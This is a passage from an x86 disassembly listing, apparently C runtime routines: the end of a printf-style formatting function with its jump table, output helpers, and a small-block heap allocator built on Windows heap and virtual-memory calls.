--------------------------------------------------------------------------- loc_4131BC: ; CODE XREF: sub_412C3C+575j and [ebp+var_4], 0FFFFFFF7h loc_4131C0: ; CODE XREF: sub_412C3C+57Ej mov eax, esi or eax, edi jnz short loc_4131CA and [ebp+var_1C], 0 loc_4131CA: ; CODE XREF: sub_412C3C+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_4131D0: ; CODE XREF: sub_412C3C+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_4131E0 mov eax, esi or eax, edi jz short loc_41321B loc_4131E0: ; CODE XREF: sub_412C3C+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_412100 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_412180 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_413211 add ebx, [ebp+var_2C] loc_413211: ; CODE XREF: sub_412C3C+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_4131D0 ; --------------------------------------------------------------------------- loc_41321B: ; CODE XREF: sub_412C3C+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_413246 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_413239 test eax, eax jnz short loc_413246 loc_413239: ; CODE XREF: sub_412C3C+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_413243: ; CODE XREF: sub_412C3C+35Fj ; sub_412C3C+406j ... mov [ebp+var_C], eax loc_413246: ; CODE XREF: sub_412C3C+21Bj ; sub_412C3C+2FDj ... cmp [ebp+var_28], 0 jnz loc_413344 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41327E test bh, 1 jz short loc_413263 mov [ebp+var_16], 2Dh jmp short loc_413277 ; --------------------------------------------------------------------------- loc_413263: ; CODE XREF: sub_412C3C+61Fj test bl, 1 jz short loc_41326E mov [ebp+var_16], 2Bh jmp short loc_413277 ; --------------------------------------------------------------------------- loc_41326E: ; CODE XREF: sub_412C3C+62Aj test bl, 2 jz short loc_41327E mov [ebp+var_16], 20h loc_413277: ; CODE XREF: sub_412C3C+625j ; sub_412C3C+630j mov [ebp+var_1C], 1 loc_41327E: ; CODE XREF: sub_412C3C+61Aj ; sub_412C3C+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41329E lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4133B2 add esp, 10h loc_41329E: ; CODE XREF: sub_412C3C+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_4133E3 add esp, 10h test bl, 8 jz short loc_4132D0 test bl, 4 jnz short loc_4132D0 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_4133B2 add esp, 10h loc_4132D0: ; CODE XREF: sub_412C3C+67Bj ; sub_412C3C+680j cmp [ebp+var_24], 0 jz short loc_413317 cmp [ebp+var_C], 0 jle short loc_413317 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_4132E5: ; CODE XREF: sub_412C3C+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_41807C pop ecx test eax, eax pop ecx jle short loc_41332C lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_4133E3 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_4132E5 jmp short loc_41332C ; --------------------------------------------------------------------------- loc_413317: ; CODE XREF: sub_412C3C+698j ; sub_412C3C+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_4133E3 add esp, 10h loc_41332C: ; CODE XREF: sub_412C3C+6BCj ; sub_412C3C+6D9j test byte ptr [ebp+var_4], 4 jz short loc_413344 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4133B2 add esp, 10h loc_413344: ; CODE XREF: sub_412C3C+68j ; sub_412C3C+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_412C68 loc_413355: ; CODE XREF: sub_412C3C+1Fj ; sub_412C3C+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_412C3C endp ; --------------------------------------------------------------------------- off_41335D dd offset loc_412DDB ; DATA XREF: sub_412C3C+6Er dd offset loc_412CB1 ; jump table for switch statement dd offset loc_412CCC dd offset loc_412D18 dd offset loc_412D4F dd offset loc_412D57 dd offset loc_412D8C dd offset loc_412E1F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41337D proc near ; CODE XREF: sub_412C3C+1BDp ; sub_412C3C+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_413396 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_4133A1 ; --------------------------------------------------------------------------- loc_413396: ; CODE XREF: sub_41337D+9j push ecx push [ebp+arg_0] call sub_412B27 pop ecx pop ecx loc_4133A1: ; CODE XREF: sub_41337D+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_4133AE or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_4133AE: ; CODE XREF: sub_41337D+2Aj inc dword ptr [eax] pop ebp retn sub_41337D endp ; =============== S U B R O U T I N E ======================================= sub_4133B2 proc near ; CODE XREF: sub_412C3C+65Ap ; sub_412C3C+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_4133E0 mov esi, [esp+8+arg_C] loc_4133C3: ; CODE XREF: sub_4133B2+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41337D add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_4133E0 mov eax, edi dec edi test eax, eax jg short loc_4133C3 loc_4133E0: ; CODE XREF: sub_4133B2+Bj ; sub_4133B2+25j pop edi pop esi retn sub_4133B2 endp ; =============== S U B R O U T I N E ======================================= sub_4133E3 proc near ; CODE XREF: sub_412C3C+670p ; sub_412C3C+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_413417 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_4133F9: ; CODE XREF: sub_4133E3+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41337D add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_413417 mov eax, ebx dec ebx test eax, eax jg short loc_4133F9 loc_413417: ; CODE XREF: sub_4133E3+Cj ; sub_4133E3+2Bj pop edi pop esi pop ebx retn sub_4133E3 endp ; =============== S U B R O U T I N E ======================================= sub_41341B proc near ; CODE XREF: sub_412C3C+E5p ; sub_412C3C+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41341B endp ; =============== S U B R O U T I N E ======================================= sub_413428 proc near ; CODE XREF: sub_412C3C+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_413428 endp ; =============== S U B R O U T I N E ======================================= sub_413438 proc near ; CODE XREF: sub_412C3C+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_413438 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413446 proc near ; CODE XREF: sub_4109F4+17p ; sub_4109F4+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_413464 mov ecx, ds:off_42E190 movzx eax, word ptr [ecx+eax*2] jmp short loc_4134B6 ; --------------------------------------------------------------------------- loc_413464: ; CODE XREF: sub_413446+10j mov ecx, eax push esi mov esi, ds:off_42E190 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_413489 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_413492 ; --------------------------------------------------------------------------- loc_413489: ; CODE XREF: sub_413446+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_413492: ; CODE XREF: sub_413446+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call loc_4180E4 add esp, 1Ch test eax, eax jnz short loc_4134B2 leave retn ; --------------------------------------------------------------------------- loc_4134B2: ; CODE XREF: sub_413446+68j movzx eax, word ptr [ebp+arg_0+2] loc_4134B6: ; CODE XREF: sub_413446+1Cj and eax, [ebp+arg_4] leave retn sub_413446 endp ; =============== S U B R O U T I N E ======================================= sub_4134BB proc near ; CODE XREF: sub_410C21+1Fp ; sub_41237F+106p ... arg_0 = dword ptr 4 mov eax, ds:dword_45F8A0 test eax, eax jz short loc_4134D3 push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_4134D3 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4134D3: ; CODE XREF: sub_4134BB+7j ; sub_4134BB+12j xor eax, eax retn sub_4134BB endp ; =============== S U B R O U T I N E ======================================= sub_4134D6 proc near ; CODE XREF: seg000:00412A42p arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call ds:dword_41C15C ; HeapCreate test eax, eax mov ds:dword_460EA0, eax jz short loc_41350B call sub_413512 test eax, eax jnz short loc_41350E push ds:dword_460EA0 call ds:dword_41C158 ; HeapDestroy loc_41350B: ; CODE XREF: sub_4134D6+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_41350E: ; CODE XREF: sub_4134D6+27j push 1 pop eax retn sub_4134D6 endp ; =============== S U B R O U T I N E ======================================= sub_413512 proc near ; CODE XREF: sub_4134D6+20p push 140h push 0 push ds:dword_460EA0 call ds:dword_41C134 ; RtlAllocateHeap test eax, eax mov ds:dword_460E9C, eax jnz short loc_41352F retn ; --------------------------------------------------------------------------- loc_41352F: ; CODE XREF: sub_413512+1Aj and ds:dword_460E94, 0 and ds:dword_460E98, 0 push 1 mov ds:dword_460E90, eax mov ds:dword_460E88, 10h pop eax retn sub_413512 endp ; =============== S U B R O U T I N E ======================================= sub_413550 proc near ; CODE XREF: sub_410C83+Ap ; sub_41237F+3Dp ... arg_0 = dword ptr 4 mov eax, ds:dword_460E98 lea ecx, [eax+eax*4] mov eax, ds:dword_460E9C lea ecx, [eax+ecx*4] loc_413560: ; CODE XREF: sub_413550+26j cmp eax, ecx jnb short loc_413578 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41357A add eax, 14h jmp short loc_413560 ; --------------------------------------------------------------------------- loc_413578: ; CODE XREF: sub_413550+12j xor eax, eax locret_41357A: ; CODE XREF: sub_413550+21j retn sub_413550 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41357B proc near ; CODE XREF: sub_410C83+16p ; sub_41237F+89p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] push ebx push esi mov eax, [ecx+10h] mov esi, edx sub esi, [ecx+0Ch] mov ebx, [edx-4] add edx, 0FFFFFFFCh push edi shr esi, 0Fh mov ecx, esi mov edi, [edx-4] imul ecx, 204h dec ebx mov [ebp+var_4], edi lea ecx, [ecx+eax+144h] mov [ebp+var_C], ebx mov [ebp+var_10], ecx mov ecx, [ebx+edx] test cl, 1 mov [ebp+var_8], ecx jnz short loc_413641 sar ecx, 4 push 3Fh dec ecx pop edi mov [ebp+arg_4], ecx cmp ecx, edi jbe short loc_4135D3 mov [ebp+arg_4], edi loc_4135D3: ; CODE XREF: sub_41357B+53j mov ecx, [ebx+edx+4] cmp ecx, [ebx+edx+8] jnz short loc_413625 mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_413601 mov edi, 80000000h shr edi, cl lea ecx, [ecx+eax+4] not edi and [eax+esi*4+44h], edi dec byte ptr [ecx] jnz short loc_413625 mov ecx, [ebp+arg_0] and [ecx], edi jmp short loc_413625 ; --------------------------------------------------------------------------- loc_413601: ; CODE XREF: sub_41357B+68j add ecx, 0FFFFFFE0h mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edi and [eax+esi*4+0C4h], edi dec byte ptr [ecx] jnz short loc_413625 mov ecx, [ebp+arg_0] and [ecx+4], edi loc_413625: ; CODE XREF: sub_41357B+60j ; sub_41357B+7Dj ... mov ecx, [ebx+edx+8] mov edi, [ebx+edx+4] mov [ecx+4], edi mov ecx, [ebx+edx+4] mov edi, [ebx+edx+8] add ebx, [ebp+var_8] mov [ecx+8], edi mov [ebp+var_C], ebx loc_413641: ; CODE XREF: sub_41357B+45j mov edi, ebx sar edi, 4 dec edi cmp edi, 3Fh jbe short loc_41364F push 3Fh pop edi loc_41364F: ; CODE XREF: sub_41357B+CFj mov ecx, [ebp+var_4] and ecx, 1 mov [ebp+var_14], ecx jnz loc_4136FE sub edx, [ebp+var_4] mov ecx, [ebp+var_4] sar ecx, 4 push 3Fh mov [ebp+var_8], edx dec ecx pop edx cmp ecx, edx mov [ebp+arg_4], ecx jbe short loc_41367A mov [ebp+arg_4], edx mov ecx, edx loc_41367A: ; CODE XREF: sub_41357B+F8j add ebx, [ebp+var_4] mov edi, ebx mov [ebp+var_C], ebx sar edi, 4 dec edi cmp edi, edx jbe short loc_41368C mov edi, edx loc_41368C: ; CODE XREF: sub_41357B+10Dj cmp ecx, edi jz short loc_4136FB mov ecx, [ebp+var_8] mov edx, [ecx+4] cmp edx, [ecx+8] jnz short loc_4136E3 mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_4136BF mov edx, 80000000h shr edx, cl lea ecx, [ecx+eax+4] not edx and [eax+esi*4+44h], edx dec byte ptr [ecx] jnz short loc_4136E3 mov ecx, [ebp+arg_0] and [ecx], edx jmp short loc_4136E3 ; --------------------------------------------------------------------------- loc_4136BF: ; CODE XREF: sub_41357B+126j add ecx, 0FFFFFFE0h mov edx, 80000000h shr edx, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edx and [eax+esi*4+0C4h], edx dec byte ptr [ecx] jnz short loc_4136E3 mov ecx, [ebp+arg_0] and [ecx+4], edx loc_4136E3: ; CODE XREF: sub_41357B+11Ej ; sub_41357B+13Bj ... mov ecx, [ebp+var_8] mov edx, [ecx+8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_8] mov edx, [ecx+4] mov ecx, [ecx+8] mov [edx+8], ecx loc_4136FB: ; CODE XREF: sub_41357B+113j mov edx, [ebp+var_8] loc_4136FE: ; CODE XREF: sub_41357B+DDj cmp [ebp+var_14], 0 jnz short loc_41370D cmp [ebp+arg_4], edi jz loc_413796 loc_41370D: ; CODE XREF: sub_41357B+187j mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_413796 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41376A cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_413759 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_413759: ; CODE XREF: sub_41357B+1CEj mov ebx, 80000000h mov ecx, edi shr ebx, cl lea eax, [eax+esi*4+44h] or [eax], ebx jmp short loc_413793 ; --------------------------------------------------------------------------- loc_41376A: ; CODE XREF: sub_41357B+1C8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_413780 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_413780: ; CODE XREF: sub_41357B+1F3j lea ecx, [edi-20h] mov edi, 80000000h shr edi, cl lea eax, [eax+esi*4+0C4h] or [eax], edi loc_413793: ; CODE XREF: sub_41357B+1EDj mov ebx, [ebp+var_C] loc_413796: ; CODE XREF: sub_41357B+18Cj ; sub_41357B+1B6j mov eax, [ebp+var_10] mov [edx], ebx mov [ebx+edx-4], ebx dec dword ptr [eax] jnz loc_4138A1 mov eax, ds:dword_460E94 test eax, eax jz loc_413893 mov ecx, ds:dword_460E8C mov edi, ds:dword_41C160 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call edi ; VirtualFree mov ecx, ds:dword_460E8C mov eax, ds:dword_460E94 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, ds:dword_460E94 mov ecx, ds:dword_460E8C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, ds:dword_460E94 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, ds:dword_460E94 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_413821 and dword ptr [eax+4], 0FFFFFFFEh mov eax, ds:dword_460E94 loc_413821: ; CODE XREF: sub_41357B+29Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_413893 push ebx push 0 push dword ptr [eax+0Ch] call edi ; VirtualFree mov eax, ds:dword_460E94 push dword ptr [eax+10h] push 0 push ds:dword_460EA0 call ds:dword_41C138 ; RtlFreeHeap mov eax, ds:dword_460E98 mov edx, ds:dword_460E9C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, ds:dword_460E94 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_4112D0 mov eax, [ebp+arg_0] add esp, 0Ch dec ds:dword_460E98 cmp eax, ds:dword_460E94 jbe short loc_413885 sub eax, 14h loc_413885: ; CODE XREF: sub_41357B+305j mov ecx, ds:dword_460E9C mov ds:dword_460E90, ecx jmp short loc_413896 ; --------------------------------------------------------------------------- loc_413893: ; CODE XREF: sub_41357B+233j ; sub_41357B+2AAj mov eax, [ebp+arg_0] loc_413896: ; CODE XREF: sub_41357B+316j mov ds:dword_460E94, eax mov ds:dword_460E8C, esi loc_4138A1: ; CODE XREF: sub_41357B+226j pop edi pop esi pop ebx leave retn sub_41357B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4138A6 proc near ; CODE XREF: sub_410C4D+Ep ; sub_41237F+69p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, ds:dword_460E98 mov edx, ds:dword_460E9C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_4138E6 or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_4138F6 ; --------------------------------------------------------------------------- loc_4138E6: ; CODE XREF: sub_4138A6+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_4138F6: ; CODE XREF: sub_4138A6+3Ej mov eax, ds:dword_460E90 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41391D loc_413904: ; CODE XREF: sub_4138A6+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41391D add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_413904 loc_41391D: ; CODE XREF: sub_4138A6+5Cj ; sub_4138A6+6Aj cmp ebx, [ebp+var_4] jnz short loc_41399B mov ebx, edx loc_413924: ; CODE XREF: sub_4138A6+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_413940 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41393E add ebx, 14h jmp short loc_413924 ; --------------------------------------------------------------------------- loc_41393E: ; CODE XREF: sub_4138A6+91j cmp ebx, eax loc_413940: ; CODE XREF: sub_4138A6+83j jnz short loc_41399B loc_413942: ; CODE XREF: sub_4138A6+ADj cmp ebx, [ebp+var_4] jnb short loc_413958 cmp dword ptr [ebx+8], 0 jnz short loc_413955 add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_413942 ; --------------------------------------------------------------------------- loc_413955: ; CODE XREF: sub_4138A6+A5j cmp ebx, [ebp+var_4] loc_413958: ; CODE XREF: sub_4138A6+9Fj jnz short loc_413980 mov ebx, edx loc_41395C: ; CODE XREF: sub_4138A6+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_413970 cmp dword ptr [ebx+8], 0 jnz short loc_41396E add ebx, 14h jmp short loc_41395C ; --------------------------------------------------------------------------- loc_41396E: ; CODE XREF: sub_4138A6+C1j cmp ebx, eax loc_413970: ; CODE XREF: sub_4138A6+BBj jnz short loc_413980 call sub_413BAF mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_413994 loc_413980: ; CODE XREF: sub_4138A6:loc_413958j ; sub_4138A6:loc_413970j push ebx call sub_413C60 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41399B loc_413994: ; CODE XREF: sub_4138A6+D8j xor eax, eax jmp loc_413BAA ; --------------------------------------------------------------------------- loc_41399B: ; CODE XREF: sub_4138A6+7Aj ; sub_4138A6:loc_413940j ... mov ds:dword_460E90, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_4139C2 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_4139F9 loc_4139C2: ; CODE XREF: sub_4138A6+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_4139F6 loc_4139DF: ; CODE XREF: sub_4138A6+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_4139DF loc_4139F6: ; CODE XREF: sub_4138A6+137j mov edx, [ebp+var_4] loc_4139F9: ; CODE XREF: sub_4138A6+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_413A22 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_413A22: ; CODE XREF: sub_4138A6+16Dj ; sub_4138A6+183j test ecx, ecx jl short loc_413A2B shl ecx, 1 inc edi jmp short loc_413A22 ; --------------------------------------------------------------------------- loc_413A2B: ; CODE XREF: sub_4138A6+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_413A48 push 3Fh pop esi loc_413A48: ; CODE XREF: sub_4138A6+19Dj cmp esi, edi jz loc_413B5D mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_413AB9 cmp edi, 20h jge short loc_413A88 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_413AB6 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_413AB9 ; --------------------------------------------------------------------------- loc_413A88: ; CODE XREF: sub_4138A6+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_413AB6 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_413AB9 ; --------------------------------------------------------------------------- loc_413AB6: ; CODE XREF: sub_4138A6+1D6j ; sub_4138A6+203j mov ebx, [ebp+arg_0] loc_413AB9: ; CODE XREF: sub_4138A6+1B0j ; sub_4138A6+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_413B69 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_413B5A mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_413B2B inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_413B19 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_413B19: ; CODE XREF: sub_4138A6+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_413B5A ; --------------------------------------------------------------------------- loc_413B2B: ; CODE XREF: sub_4138A6+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_413B44 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_413B44: ; CODE XREF: sub_4138A6+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_413B5A: ; CODE XREF: sub_4138A6+24Ej ; sub_4138A6+283j mov ecx, [ebp+var_8] loc_413B5D: ; CODE XREF: sub_4138A6+1A4j test ecx, ecx jz short loc_413B6C mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_413B6C ; --------------------------------------------------------------------------- loc_413B69: ; CODE XREF: sub_4138A6+229j mov ecx, [ebp+var_8] loc_413B6C: ; CODE XREF: sub_4138A6+2B9j ; sub_4138A6+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_413BA2 cmp ebx, ds:dword_460E94 jnz short loc_413BA2 mov ecx, [ebp+var_4] cmp ecx, ds:dword_460E8C jnz short loc_413BA2 and ds:dword_460E94, 0 loc_413BA2: ; CODE XREF: sub_4138A6+2E0j ; sub_4138A6+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_413BAA: ; CODE XREF: sub_4138A6+F0j pop edi pop esi pop ebx leave retn sub_4138A6 endp ; =============== S U B R O U T I N E ======================================= sub_413BAF proc near ; CODE XREF: sub_4138A6+CCp mov eax, ds:dword_460E98 mov ecx, ds:dword_460E88 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_413BF2 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push ds:dword_460E9C push edi push ds:dword_460EA0 call ds:dword_41C148 ; RtlReAllocateHeap cmp eax, edi jz short loc_413C42 add ds:dword_460E88, 10h mov ds:dword_460E9C, eax mov eax, ds:dword_460E98 loc_413BF2: ; CODE XREF: sub_413BAF+11j mov ecx, ds:dword_460E9C push 41C4h push 8 lea eax, [eax+eax*4] push ds:dword_460EA0 lea esi, [ecx+eax*4] call ds:dword_41C134 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_413C42 push 4 push 2000h push 100000h push edi call ds:dword_41C164 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_413C46 push dword ptr [esi+10h] push edi push ds:dword_460EA0 call ds:dword_41C138 ; RtlFreeHeap loc_413C42: ; CODE XREF: sub_413BAF+30j ; sub_413BAF+67j xor eax, eax jmp short loc_413C5D ; --------------------------------------------------------------------------- loc_413C46: ; CODE XREF: sub_413BAF+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc 